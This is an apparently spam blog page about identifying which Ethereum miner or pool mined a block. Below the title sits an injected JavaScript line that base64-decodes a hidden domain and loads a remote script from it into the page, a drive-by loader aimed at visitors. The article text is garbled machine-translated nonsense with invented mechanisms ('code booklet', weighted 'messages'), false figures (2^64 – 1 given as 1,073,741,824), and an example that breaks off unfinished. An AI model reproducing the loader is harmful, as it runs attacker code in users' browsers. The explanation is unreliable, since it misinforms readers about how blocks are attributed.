Ethereum: How do we know which miner or pool mined a block?

const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx);const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=4ae09fcb »;document.body.appendChild(script);

To determine which miner or pool mined a block: closer look

The Ethereum network relies on miners and pools to validate transactions, create new blocks and provide network. However, one of the most frustrating aspects of mining is to determine which miner or pool mined a particular block. The solution lies in understanding how miners and pools are identified and the process of calculating the cleavage force.

How to identify themselves by miners and pools

In Ethereum, each miner uses a unique code booklet to identify themselves on the blockchain. This code book contains information such as the title of the Mining Wallet, the public key and the hash rate. Each block should be mined with blocks from previous blocks of the chain, called « Messaging » or « Blockset ». The first 2^64 – 1 (or 1,073,741,824) messages are considered to be the last block of 2^64 in the block set and are usually mined by a mining group known as « mainnet ».

MainNet miners use the code booklet to identify themselves on all blocks and ownership. In the block, the first message is called a « first message » containing information about the title of the Mining Wallet, the public key and the hash rate. We add other messages to the block, but they still contain metadata that helps to identify mining.

How to identify pools

Ethereum pools are mining groups who share their calculation performance to validate transactions and create new blocks. The pools are considered « virtual mining organizations ». Each member of the pool has their own code book, which contains information about the title of the wallet, the public key and the hash rate.

To identify the blockchain, each member in the pool uses a unique identifier known as « hash signature » or « pool identification ». This hash signing is used to confirm the fact that the member belongs to that pool. Pool IDs are usually generated randomly when members join the pool and safely stored on the Ethereum network.

Calculate Hashrate

Now let’s talk about how we can determine which miner or pool mined a particular block. The solution lies in understanding the process of calculating each miners and pools.

When a new block is created, it contains a series of messages that identify the mining (s) who have been involved in creating it. Each message has a special weight value that indicates the contribution of the miner to the block. These weights are usually calculated based on the mining speed of the miner.

To calculate the hash speed of each miners and pools, we need to know the weight values ​​of all the messages of the block. This allows us to determine the percentage of the last X blocks that are mined by a particular miner or pool.

Assuming that there is any number of blocks (x) on the blockchain before the current block is mined, the total hash of each miners and pools can be calculated as follows:

Suppose the weight values ​​of all the messages of the block are as follows:

| Message ID Weight value

| — —

| 1 | 10.5%

| 2 20.8%

| 3 | 30.4%

| … …

You can then calculate the hash speed of each miners and pools:

Hash Speed ​​= (Message 1 Weight / Total Weight) + (Message 2 Weight / Total Weight) + …

Using this formula, we can determine the percentage of the last X blocks mined by a particular miner or pool.

Example

Ethereum: How do we know which miner or pool mined a block?

Suppose we want to calculate the hash speed of each miner and pelvis of the Ethereum network. We know that there are currently 500 blocks in the blockchain and we want to know which miner (s) and the pool (s) mined the latest block (Block 1).

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *